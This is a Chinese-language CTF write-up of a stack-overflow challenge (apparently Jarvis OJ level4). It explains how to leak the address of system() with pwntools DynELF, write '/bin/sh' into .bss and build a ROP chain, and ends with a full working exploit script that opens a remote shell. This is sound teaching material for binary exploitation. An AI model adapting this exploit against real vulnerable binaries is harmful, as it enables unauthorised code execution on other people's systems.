程序分析
一个简单的溢出,
read()函数的不正当使用引起的漏洞
我们分析汇编代码,基本可以推断出他的溢出字节是140,因为这里我们要求不提供libc,但是我没需要起shell,那么思路大概就是首先通过DynELF获取到system()的地址后,我们又通过read将“/bin/sh”写入到.bss段上,最后再调用system(.bss),执行“/bin/sh”。
构造Leak函数 pwntools提供的DynELF模块来进行内存搜索。关键我们需要一个leak(addr)函数。一般这种函数的构造如下。
1 2 3 4 5 6 def leak (address ): payload = 'a' * 140 + p32(writePlt) + p32(vulner) + p32(1 ) + p32(address) + p32(4 ) p.send(payload) data = p.recv(4 ) print 'address(%#x) => %s' % (address, (data or '' ).encode('hex' )) return data
随后将这个函数作为参数再调用d = DynELF(leak, elf=ELF(‘./level2’))就可以对DynELF模块进行初始化了。然后可以通过调用system_addr = d.lookup(‘system’, ‘libc’)来得到libc.so中system()在内存中的地址。 关键的是,我们只能调用到sytem(),却不能直接起shell,我们还需要将`/bin/sh``写到BSS段
如何找到bss段 在蒸米的文章中,他是通过readelf -S level2这样的命令,找打的bss段的地址,而我比较习惯用IDA做前期的分析,所以我会用Shift+F7来找bss段,效果如下
.bss段是用来保存全局变量的值的,地址固定,并且可以读可写。
查找gadget 构造rop 执行完read()之后,调用的是**system(“/bin/sh/“)**,我们知道的是,read()的参数有三个,所以我们需要保证栈平衡,需要构造一个pop pop pop ret 的gadget,如何找到这gadget呢,正如蒸米大神说的,利用objdump,具体我们可以用如下的命令objdump -D level2 |cat -n |grep pop效果如下:
这样,我们找到这样连续的3个pop,就能构造rop了。
最终exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 from pwn import *p = remote('pwn2.jarvisoj.com' ,9880 ) vulner = 0x0804844b readPlt = 0x08048310 writePlt = 0x08048340 bssAddr = 0x0804a024 pppr = 0x08048509 def leak (address ): payload = 'a' * 140 + p32(writePlt) + p32(vulner) + p32(1 ) + p32(address) + p32(4 ) p.send(payload) data = p.recv(4 ) print 'address(%#x) => %s' % (address, (data or '' ).encode('hex' )) return data d = DynELF(leak, elf=ELF('./level4' )) systemAddr = d.lookup('system' , 'libc' ) print 'systemAddr = %#x' % (systemAddr)payload = 'a' * 140 + p32(readPlt) + p32(pppr) + p32(0 ) + p32(bssAddr) + p32(8 ) payload += p32(systemAddr) + p32(0xdeadbeef ) + p32(bssAddr) p.send(payload) p.send("/bin/sh\0" ) p.interactive()
参考 原文地址